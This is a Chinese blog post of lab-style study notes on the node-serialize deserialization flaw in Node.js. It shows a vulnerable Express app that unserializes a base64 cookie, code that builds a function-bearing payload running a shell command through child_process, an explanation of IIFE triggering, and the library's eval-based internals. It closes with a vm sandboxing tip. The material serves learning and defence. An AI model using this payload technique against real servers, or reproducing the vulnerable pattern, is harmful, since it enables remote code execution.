

# i春秋漏洞学习

原创

[blue blue sky](#) 于 2021-07-07 15:13:44 发布 55 收藏

分类专栏: [入门学习](#) 文章标签: [javascript](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_43058307/article/details/118514626](https://blog.csdn.net/weixin_43058307/article/details/118514626)

版权



[入门学习](#) 专栏收录该内容

10 篇文章 0 订阅

订阅专栏

## Node.js 模块 node-serialize 反序列化任意代码执行漏洞

**\*\*原理:\*\*** 将非法数据传入 `unserialize()` 函数, 通过立即调用函数表达式 (IIFE) 的 JS 对象, 可以实现任意代码执行。

<https://www.seebug.org/vuldb/ssvid-92674>

```
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser());

app.get('/', function(req, res) {
  if (req.cookies.profile) {
    var str = new Buffer(req.cookies.profile, 'base64').toString();
    var obj = serialize.unserialize(str);
    if (obj.username) {
      res.send("Hello " + escape(obj.username));
    }
  } else {
    res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoieWYmFuZ2Fsb3JlIn0=", {
      maxAge: 900000,
      httpOnly: true
    });
  }
  res.send("Hello World");
});
app.listen(3000);
```

根据原理构造了序列化内容

```
var y = {
  rce : function(){
    require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
  },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
```

问题在于如何触发rec函数。可以使用立即调用函数表达式。如果我们在函数后使用 IIFE 括号 ()，在对象被创建时，函数就会马上被调用。

## 总结

利用了反序列化的漏洞，配合不受信任的用户输入实现任意代码执行。而该漏洞的根本原因就是它在反序列化内部使用了 eval()。

IIFE表达式

```
(function(){ /* code */})();
// 或者
(function(){ / code */})();
```

```
if(obj.hasOwnProperty(key)) {
  if(typeof obj[key] === 'object') {
    obj[key] = exports.unserialize(obj[key], originObj);
  } else if(typeof obj[key] === 'string') {
    if(obj[key].indexOf(FUNCFLAG) === 0) {
      obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
    } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
      obj[key] = obj[key].substring(CIRCULARFLAG.length);
      circularTasks.push({obj: obj, key: key});
    }
  }
}
```

[https://blog.csdn.net/weixin\\_43058307](https://blog.csdn.net/weixin_43058307)

如果场景需要涉及到执行数据，可以使用 Node.js 的 vm 隔离出上下文。参考示例代码，可以使用 script.runInNewContext([sandbox]) 等接口，自定义 sandbox 作为全局对象运行脚本代码，并返回结果，这样全局变量会受到沙箱限制。

[https://millermedeiros.github.io/mdoc/examples/node\\_api/doc/vm.html](https://millermedeiros.github.io/mdoc/examples/node_api/doc/vm.html)